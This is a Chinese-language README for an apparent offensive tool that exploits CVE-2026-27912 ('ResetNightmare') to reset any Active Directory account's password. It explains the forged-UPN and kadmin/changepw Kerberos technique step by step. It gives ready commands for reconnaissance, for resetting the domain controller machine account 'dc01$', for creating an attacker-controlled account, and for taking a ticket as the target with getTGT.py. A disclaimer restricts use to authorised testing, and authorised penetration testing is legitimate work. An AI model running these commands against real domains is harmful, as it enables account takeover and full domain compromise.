ResetNightmare — CVE-2026-27912

专为 CVE-2026-27912（“ResetNightmare”） 而生的 Linux / impacket 工具。它通过为 NT_ENTERPRISE 主体（其名称为目标的 sAMAccountName）请求 kadmin/changepw TGT，并使用一个我们可以在其上写入伪造 userPrincipalName 的账户（UPNUser），从而重置目标 Active Directory 账户的密码。

这是 Semperis Community Invoke-ResetNightmare PowerShell 工具的 Python 移植版（见 致谢）。

⚠️ 法律免责声明

仅供授权安全测试和教育用途使用。 该工具会更改真实的 Active Directory 凭据，并可能导致账户被锁定。

• 仅对您拥有或已获得明确书面许可的系统运行 （例如已签署的授权合同，或您控制的实验环境）。
• 未经授权访问计算机系统属于违法行为（例如美国 CFAA、英国《计算机滥用法》及类似法律），可能招致刑事和民事处罚。
• 作者对滥用行为不承担任何责任。本软件按“现状”提供——请参见 LICENSE。如果您没有获得许可，请勿运行本工具。

工作原理

1. （可选） 创建 UPNUser，自行授予 GenericAll 权限，设置其密码并启用它。
2. 解析目标的 sAMAccountName。
3. 设置 UPNUser.userPrincipalName = <targetSAN>（伪造的 UPN）。
4. 以 NT_ENTERPRISE '<targetSAN>' 身份为 kadmin/changepw 执行 AS-REQ——KDC 将企业 UPN 映射到 目标账户，并为其签发更改密码的 TGT。
5. 清除伪造的 UPN。
6. 使用该 TGT 通过 kpasswd 更改密码 → 将目标的密码设置为新密码。
7. 恢复 UPNUser 原有的 UPN。

安装

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

用法

操作者凭据是第一个位置参数：[domain/]username[:password]。 任何密码均可省略，系统会提示您输入。

侦察——此账户可以滥用什么？ 报告您可以写入 UPN 的账户、可以在其中创建对象的 OU，以及 MachineAccountQuota，并附上建议命令：

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

重置目标——使用一个您可以写入 UPN 的账户：

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

先创建 UPN 账户（需要 OU 上的“创建子对象”权限，以及 LDAPS）：

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

添加 -debug 可输出详细的 AS-REQ / LDAP / kpasswd 日志。

标志

密码被省略时会以交互方式提示输入。

故障排查

--create-new-path 失败排查：

说明：

• 默认启用 LDAPS。 AD 只接受通过 TLS 写入 unicodePwd，因此 --create-new-path 需要它。仅对只读/仅 UPN 的路径使用 --no-ssl。
• --find 仅报告授予您或您所在组的 allow ACE（以及对象所有权和 MachineAccountQuota）；deny ACE 和跨域成员关系不会被完全评估。结果为空并不证明没有可利用路径——使用前请先验证。

成功后

该工具会打印后续操作命令，以便以目标身份获取可用票据：

getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

致谢

• Semperis Community — ResetNightmare — 原始研究与本项目所移植的 Invoke-ResetNightmare PowerShell 工具。
• impacket — Kerberos 与 ldaptypes 原语。
• ldap3 — LDAP 客户端。

独立的社区移植版；与 Semperis 无关联，亦未获得其认可。

许可证

MIT © 2026 mihat2.